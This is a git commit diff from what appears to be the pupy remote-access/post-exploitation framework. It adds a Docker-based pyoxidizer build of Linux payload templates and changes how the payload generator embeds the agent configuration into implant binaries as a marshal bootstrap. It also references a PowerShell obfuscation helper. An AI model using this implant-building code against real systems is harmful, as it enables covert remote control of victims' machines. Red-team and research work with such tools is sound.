pyoxidizer linux template build via docker

This commit is contained in:
n1nj4sec 2023-07-26 16:55:45 +02:00
parent 3133729ece
commit 8eac4c7654
7 changed files with 137 additions and 27 deletions

5
.gitignore vendored
View File

@ -19,6 +19,9 @@ client/sources/*.obj
client/sources/_pupy*
client/sources/resources
client/pyoxidizer-build/lib/pupy
client/pyoxidizer-build/library_patches_py3
client/sources-linux/*.o
client/sources-linux/*.lin
client/sources-linux/*.so
@ -43,3 +46,5 @@ pupy/proxy/proxy
build
pupy.egg-info
.pupy_history
pupyvenv

View File

@ -3,10 +3,14 @@
python3 -m pip install pyoxidizer
# symblinks don't work with the build, so let's copy important files
# so let's copy important files necessary for the build
cp -r ../../pupy/agent lib/pupy/
cp -r ../../pupy/network lib/pupy/
cp -r ../../pupy/library_patches_py3 .
pyoxidizer build --release
docker run -ti -v $(pwd):/pupy --rm n1nj4sec/pyoxidizer-builder:linux-x86_64 /bin/bash -c 'export PATH="/build/python/bin:$PATH"; cd /pupy; python3 -m pip install pyoxidizer; pyoxidizer build --release'
strip -s build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy
echo "saving built template to ~/.pupy/payload_templates/ ..."
mkdir -p ~/.pupy/payload_templates
cp ./build/x86_64-unknown-linux-gnu/release/install/pyoxydizer_pupy ~/.pupy/payload_templates/pupyx86-310.lin

View File

@ -0,0 +1,81 @@
# Debian Jessie.
FROM debian@sha256:32ad5050caffb2c7e969dac873bce2c370015c2256ff984b70c1c08b3a2816a0
RUN groupadd -g 1000 build && \
useradd -u 1000 -g 1000 -d /build -s /bin/bash -m build && \
mkdir /tools && \
chown -R build:build /build /tools
ENV HOME=/build \
SHELL=/bin/bash \
USER=build \
LOGNAME=build \
HOSTNAME=builder \
DEBIAN_FRONTEND=noninteractive
CMD ["/bin/bash", "--login"]
WORKDIR '/build'
RUN for s in debian_jessie debian_jessie-updates debian-security_jessie/updates; do \
echo "deb http://snapshot.debian.org/archive/${s%_*}/20220429T205342Z/ ${s#*_} main"; \
done > /etc/apt/sources.list && \
( echo 'quiet "true";'; \
echo 'APT::Get::Assume-Yes "true";'; \
echo 'APT::Install-Recommends "false";'; \
echo 'Acquire::Check-Valid-Until "false";'; \
echo 'Acquire::Retries "5";'; \
) > /etc/apt/apt.conf.d/99builder
RUN apt-get update
RUN apt-get install --force-yes \
ca-certificates \
curl \
file \
gcc \
gcc-multilib \
make \
musl-tools \
xz-utils
# The binutils in Jessie is too old to link the python-build-standalone distributions
# due to a R_X86_64_REX_GOTPCRELX relocation. So install a newer binutils.
RUN curl --insecure https://ftp.gnu.org/gnu/binutils/binutils-2.36.1.tar.xz > binutils.tar.xz && \
echo 'e81d9edf373f193af428a0f256674aea62a9d74dfe93f65192d4eae030b0f3b0 binutils.tar.xz' | sha256sum -c - && \
tar -xf binutils.tar.xz && \
rm binutils.tar.xz && \
mkdir binutils-objdir && \
cd binutils-objdir && \
../binutils-2.36.1/configure \
--build=x86_64-unknown-linux-gnu \
--prefix=/usr/local \
--enable-plugins \
--disable-nls \
--with-sysroot=/ && \
make -j `nproc` && \
make install -j `nproc` && \
cd .. && \
rm -rf binutils-objdir
USER build
RUN curl --insecure https://raw.githubusercontent.com/rust-lang/rustup/ce5817a94ac372804babe32626ba7fd2d5e1b6ac/rustup-init.sh > rustup-init.sh && \
echo 'a3cb081f88a6789d104518b30d4aa410009cd08c3822a1226991d6cf0442a0f8 rustup-init.sh' | sha256sum -c - && \
chmod +x rustup-init.sh && \
./rustup-init.sh -y --default-toolchain 1.66.0 --profile minimal && \
~/.cargo/bin/rustup target add x86_64-unknown-linux-musl
RUN curl --insecure -L https://github.com/indygreg/python-build-standalone/releases/download/20230507/cpython-3.10.11+20230507-x86_64-unknown-linux-gnu-install_only.tar.gz > python.tar.gz && \
echo 'c5bcaac91bc80bfc29cf510669ecad12d506035ecb3ad85ef213416d54aecd79 python.tar.gz' | sha256sum -c - && \
tar -xf python.tar.gz && \
rm python.tar.gz && \
echo 'export PATH="$HOME/python/bin:$PATH"' >> ~/.bashrc
# Force a snapshot of the Cargo index into the image. This should hopefully
# speed up subsequent operations needing to fetch the index.
RUN ~/.cargo/bin/cargo init cargo-fetch && \
cd cargo-fetch && \
echo 'pyembed = "0"' >> Cargo.toml && \
~/.cargo/bin/cargo update && \
cd && \
rm -rf cargo-fetch

View File

@ -261,7 +261,7 @@ def make_exe():
packages=["http_parser", "pupy", "pupy.agent", "pupy.network"]
))
exe.add_python_resources(exe.read_package_root(
path=CWD+"/../../pupy/library_patches_py3",
path=CWD+"/library_patches_py3",
packages=["umsgpack"],
))

View File

@ -94,7 +94,7 @@ try:
# Reset search paths ASAP
#del sys.meta_path[:]
del sys.meta_path[:]
del sys.path[:]
del sys.path_hooks[:]
@ -861,8 +861,16 @@ def load_pupyimporter(stdlib=None):
else:
dprint('Install pupyimporter + local packages')
#sys.meta_path=[]
sys.path.insert(0, 'pupy://')
sys.path_hooks.append(PupyPackageFinder)
sys.path_hooks.insert(0, PupyPackageFinder)
try:
import _frozen_importlib_external
# fix some missing default python meta_path, for instance with pyoxidizer
if _frozen_importlib_external.PathFinder not in sys.meta_path:
sys.meta_path.append(_frozen_importlib_external.PathFinder)
except:
pass
sys.path_importer_cache.clear()

View File

@ -53,6 +53,7 @@ from pupy.scriptlets import (
)
from pupy.modules.lib.windows.powershell import obfuscatePowershellScript
from pupy.pupylib.PupyCredentials import Credentials, EncryptionError
from pupy.network.lib.convcompat import reprb
logger = getLogger('gen')
@ -103,9 +104,11 @@ def get_edit_binary(target, display, path, conf):
i = 0
offsets = []
is_pyoxidizer = False
if binary.find(b'OxidizedResource', 0):
is_pyoxidizer = True
while True:
i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####\n', i+1)
i = binary.find(b'####---PUPY_CONFIG_COMES_HERE---####', i+1)
if i == -1:
break
@ -127,22 +130,27 @@ def get_edit_binary(target, display, path, conf):
'pupy.network', 'pupy.agent'
), ignore_native=True, as_dict=True
)
if is_pyoxidizer:
pyoxidizer_bootstrap = f"import marshal,pupy.agent; pupy.agent.main(config=marshal.loads({marshal.dumps(config)}))#"
new_conf = pyoxidizer_bootstrap.encode('ascii')
new_conf_len = len(pyoxidizer_bootstrap)
else:
new_conf = marshal.dumps([config, pupylib], 2)
new_conf = marshal.dumps([config, pupylib], 2)
logger.debug(
'First marshalled bytes: %s (total=%d)',
' '.join(
'{:02x}'.format(bord(c)) for c in new_conf[:64]
), len(new_conf)
)
uncompressed = len(new_conf)
new_conf = pylzma.compress(new_conf)
logger.debug(
'First marshalled bytes: %s (total=%d)',
' '.join(
'{:02x}'.format(bord(c)) for c in new_conf[:64]
), len(new_conf)
)
uncompressed = len(new_conf)
new_conf = pylzma.compress(new_conf)
compressed = len(new_conf)
new_conf = struct.pack('>II', compressed, uncompressed) + new_conf
new_conf_len = len(new_conf)
compressed = len(new_conf)
new_conf = struct.pack('>II', compressed, uncompressed) + new_conf
new_conf_len = len(new_conf)
if new_conf_len > HARDCODED_CONF_SIZE:
raise Exception(
@ -150,8 +158,10 @@ def get_edit_binary(target, display, path, conf):
'You need to recompile the dll with '
'a bigger buffer'.format(new_conf_len, HARDCODED_CONF_SIZE)
)
new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len)
if not is_pyoxidizer:
new_conf = new_conf + os.urandom(HARDCODED_CONF_SIZE-new_conf_len)
#else:
# new_conf = new_conf + (b"#"*(HARDCODED_CONF_SIZE-new_conf_len))
logger.debug('Free space: %d', HARDCODED_CONF_SIZE-new_conf_len)
@ -161,7 +171,7 @@ def get_edit_binary(target, display, path, conf):
' ' .join(['{:02x}'.format(bord(c)) for c in new_conf[0:20]])
)
binary = binary[0:offset]+new_conf+binary[offset+HARDCODED_CONF_SIZE:]
binary = binary[0:offset]+new_conf+binary[offset+len(new_conf):]
if binary[:2] == b'MZ':
@ -268,6 +278,8 @@ def get_raw_conf(display, conf, verbose=False):
(10, 5, 10), (50, 30, 50), (-1, 150, 300)
])
}
if verbose:
print(config)
return config

View File

@ -27,9 +27,9 @@ def getLinuxImportedModules():
return lines
def pack_py_payload(target, display, conf, autostart=True):
def pack_py_payload(target, display, conf, autostart=True, rustc = True):
display(Success('Generating PY payload ...'))
target._rustc = True
target._rustc = rustc # rustc=True force the use of .py files instead of .pyo
stdlib = dependencies.importer(
target, (
'pyasn1', 'rsa', 'pyaes',